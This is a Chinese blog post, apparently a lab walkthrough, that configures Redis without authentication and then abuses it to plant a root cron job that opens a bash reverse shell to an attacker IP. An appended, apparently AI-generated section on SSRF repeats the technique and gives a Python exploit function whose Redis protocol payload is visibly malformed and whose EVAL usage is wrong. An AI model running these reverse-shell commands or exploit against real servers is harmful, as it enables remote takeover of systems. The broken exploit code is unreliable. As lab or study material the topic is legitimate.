redis未授权访问反弹shell

本文介绍如何在Linux环境下安装Redis,并详细说明了配置Redis允许远程访问的过程。包括使用wget下载安装包、编译安装、配置redis.conf文件允许公网访问等步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、redis的安装
1.使用wget命令获取redis的安装包
wget http://download.redis.io/releases/redis-4.0.8.tar.gz

2.tar –zxvf redis-4.0.8.tar.gz
解压改文件
然后进入redis-4.0.8这个文件夹   cd redis-4.0.8
然后执行make命令
由于我们刚刚安装好redis数据库,还未创建用户,默认使用的是6379端口,没有密码,这个时候会导致未授权访问
3.安装完redis之后我们要更改一下配置文件  redis.conf     默认配置是只允许127.0.0.1本机回环地址连接redis数据库。
下面操作的意思是允许公网上的其他计算机访问redis数据库
先将redis.conf配置文件复制到当前目录下的src文件夹
cp redis.conf  ./scr/redis.conf
在其中修改
bind 127.0.0.1  前面加上#注释符   
protected-mode 设为no
daemonize no
保存退出
启动redis-server
./src/redis-server redis.conf



4.我们使用kali系统作为攻击人连接redis数据库
本次测试使用kali IP:192.168.1.108
Centos IP:192.168.1.107
redis-cli -h 192.168.1.107 -p 6379
"\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.108/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
然后使用ns命令监听本机4444端口
ns -l 4444
讲道理应该能连上的,但是没连上,问题后续解决,步骤应该没问题。。。




### SSRF 漏洞利用反弹 Shell 的技术细节 #### 一、SSRF漏洞概述 SSRF (Server-Side Request Forgery, 服务器端请求伪造)是一种安全漏洞,允许攻击者构造恶意请求,使应用程序向指定的URL发送HTTP请求。这种攻击通常用于访问内部网络资源或绕过防火墙限制[^4]。 #### 二、利用过程详解 当存在SSRF漏洞的应用程序能够与内网中的Redis服务通信时,可以通过以下方式实现反弹Shell: 1. **获取未授权访问权限** 如果目标环境内的Redis实例配置不当,默认情况下监听所有接口且无需密码验证,则可以直接连接并执行命令[^3]。 2. **设置持久化后门** 攻击者可利用`CONFIG SET dir /var/spool/cron/`指令改变默认保存路径至cron任务文件夹;再通过`CONFIG SET dbfilename root`创建名为root的新数据库文件,在其中植入恶意代码片段[^2]。 3. **触发反弹Shell行为** 将精心设计过的bash脚本作为定时作业写入上述位置,确保其每隔一段时间尝试建立反向外联通道指向攻击者的机器。例如: ```bash * * * * * bash -i >& /dev/tcp/yourip/6666 0>&1 ``` 4. **维持会话控制** 成功建立TCP连接之后便可以在受害主机上获得交互式的shell终端,进一步实施更多类型的渗透测试活动[^1]。 ```python import requests def exploit_ssrf(redis_ip, attacker_ip, port=6666): payload = f"*1\r\n$8\r\nFLUSHALL\r\n*3\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\ndir\r\n$5\r\n/var/\r\nspool/cron/\r\n*3\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$9\r\ndbfilename\r\n$4\r\nroot\r\n*2\r\n$4\r\nAUTH\r\n$7\r\npassword\r\n*2\r\n$4\r\nEVAL\r\n\"os.execute('echo \"* * * * * bash -i >& /dev/tcp/{attacker_ip}/{port} 0>&1\">>/var/spool/cron/root')\"\r\n" headers = {"Content-Type": "application/x-www-form-urlencoded"} data = {'data':payload} try: response = requests.post(f"http://{redis_ip}:6379",headers=headers,data=data) print(response.status_code) except Exception as e: print(e) exploit_ssrf("internal.redis.server","external.attacker.ip") ```
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值